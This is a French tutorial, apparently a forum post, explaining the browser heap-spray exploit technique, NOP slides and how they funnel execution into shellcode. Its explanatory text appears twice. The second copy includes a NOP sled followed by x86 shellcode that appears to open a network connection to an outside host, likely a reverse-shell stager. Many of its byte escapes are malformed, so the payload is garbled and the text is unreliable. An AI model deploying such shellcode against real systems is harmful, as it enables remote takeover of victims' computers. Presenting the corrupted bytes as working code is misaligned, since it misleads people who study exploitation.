Heap spray
Technique d'exploit basé sur navigateur améliorant le pourcentage de chance d'un shellcode d'être exécuté.
~~~
Notions :
NOP :
Une instruction de non-opération (no-operation instruction, NOP) est une instruction assembleur qui dit : "ne rien faire et passer à l'instruction suivante".
Slide NOP :
Une slide NOP comprend plusieurs NOP côte à côte dans la mémoire, prenant essentiellement de la place.
Introduction :
Si le flux d'exécution d'un programme se heurte à une série d'instructions NOP, il sera linéaire "slide" jusqu'à la fin de celles-ci, ce jusqu'à l'instruction suivante.
Heap Spray :
La technique de heap spray consiste à remplir le heap avec un modèle connu de répétition de slide NOP et de votre shellcode jusqu'à remplir l'espace mémoire en entier avec cette valeur connue. Vous vous souvenez sans doute que la mémoire dans le heap est allouée dynamiquement lors de l'exécution du programme. Cela se fait généralement via du JavaScript, ce qui provoque à la mémoire allouée par le navigateur une croissance de manière significative. L'attaquant remplit de gros blocs de mémoire avec des slide NOP et du shellcode directement après eux. Lorsque le flux d'exécution du programme est modifié et saute au hasard quelque part dans la mémoire, il y a une bonne chance de tomber sur une slide NOP et finalement frapper le shellcode. Au lieu de chercher une aiguille dans une botte de foin (le shellcode dans la mémoire) la méthode heap spray offre une chance de 85 à 90 pour cent à l'exploit de réussir.
Note : Une NOP, en ASM Intel x86 Arch_ se représente par : \x90.
Démonstration :
Les opcodes n'étant pas des NOP sont donc, dans le cas ci-présent, un payload.
Intérêt de cette technique :
La technique de heap spray consiste donc à remplir le heap avec un modèle connu de répétition de slide NOP (et accessoirement de votre shellcode) jusqu'à remplir l'espace mémoire en entier. La mémoire dans le heap étant allouée dynamiquement lors de l'exécution du programme (généralement via du JavaScript) provoque alors à la mémoire allouée par le navigateur une croissance de manière significative. On remplit donc la mémoire par des gros blocs de \x90 suivis instamment du shellcode malveillant. Lorsque le flux d'exécution du programme est modifié et saute au hasard quelque part dans la mémoire, il y a une bonne chance de tomber sur une slide NOP et donc "glisser" jusqu'au shellcode !
Au lieu de chercher une aiguille dans une botte de foin (le shellcode dans la mémoire) la méthode heap spray offre une chance de 85 à 90 pour cent à l'exploit de réussir !
Technique d'exploit basé sur navigateur améliorant le pourcentage de chance d'un shellcode d'être exécuté.
~~~
Notions :
NOP :
Une instruction de non-opération (no-operation instruction, NOP) est une instruction assembleur qui dit : "ne rien faire et passer à l'instruction suivante".
Slide NOP :
Une slide NOP comprend plusieurs NOP côte à côte dans la mémoire, prenant essentiellement de la place.
Introduction :
Si le flux d'exécution d'un programme se heurte à une série d'instructions NOP, il sera linéaire "slide" jusqu'à la fin de celles-ci, ce jusqu'à l'instruction suivante.
Heap Spray :
La technique de heap spray consiste à remplir le heap avec un modèle connu de répétition de slide NOP et de votre shellcode jusqu'à remplir l'espace mémoire en entier avec cette valeur connue. Vous vous souvenez sans doute que la mémoire dans le heap est allouée dynamiquement lors de l'exécution du programme. Cela se fait généralement via du JavaScript, ce qui provoque à la mémoire allouée par le navigateur une croissance de manière significative. L'attaquant remplit de gros blocs de mémoire avec des slide NOP et du shellcode directement après eux. Lorsque le flux d'exécution du programme est modifié et saute au hasard quelque part dans la mémoire, il y a une bonne chance de tomber sur une slide NOP et finalement frapper le shellcode. Au lieu de chercher une aiguille dans une botte de foin (le shellcode dans la mémoire) la méthode heap spray offre une chance de 85 à 90 pour cent à l'exploit de réussir.
Note : Une NOP, en ASM Intel x86 Arch_ se représente par : \x90.
Démonstration :
Code:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\2\x64\x8b\x52\x30 \x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff \x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2 \xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\0\x8b\x40\x78\x85 \xc0\x74\x4a\x01\0\x50\x8b\x48\x18\x8b\x58\x20\x01\3\xe3 \x3c\x49\x8b\x34\x8b\x01\6\x31\xff\x31\xc0\xac\xc1\xcf\x0d \x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58 \x8b\x58\x24\x01\3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\3\x8b \x04\x8b\x01\0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff \xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68 \x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\5\xb8\x90\x01 \x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\5\x50\x50 \x50\x50\x40\x50\x40\x50\x68\xea\x0f\f\xe0\xff\5\x97\x31 \b\x53\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2 \b\x37\x67\xff\5\x53\x57\x68\xb7\xe9\x38\xff\xff\5\x53 \x53\x57\x68\x74\xec\x3b\xe1\xff\5\x57\x97\x68\x75\x6e\x4d \x61\xff\5\x6a\x00\x6a\x04\x56\x57\x68\x02\9\xc8\x5f\xff \5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58 \xa4\x53\xe5\xff\5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\9 \xc8\x5f\xff\5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
Intérêt de cette technique :
La technique de heap spray consiste donc à remplir le heap avec un modèle connu de répétition de slide NOP (et accessoirement de votre shellcode) jusqu'à remplir l'espace mémoire en entier. La mémoire dans le heap étant allouée dynamiquement lors de l'exécution du programme (généralement via du JavaScript) provoque alors à la mémoire allouée par le navigateur une croissance de manière significative. On remplit donc la mémoire par des gros blocs de \x90 suivis instamment du shellcode malveillant. Lorsque le flux d'exécution du programme est modifié et saute au hasard quelque part dans la mémoire, il y a une bonne chance de tomber sur une slide NOP et donc "glisser" jusqu'au shellcode !
Au lieu de chercher une aiguille dans une botte de foin (le shellcode dans la mémoire) la méthode heap spray offre une chance de 85 à 90 pour cent à l'exploit de réussir !
Commentaire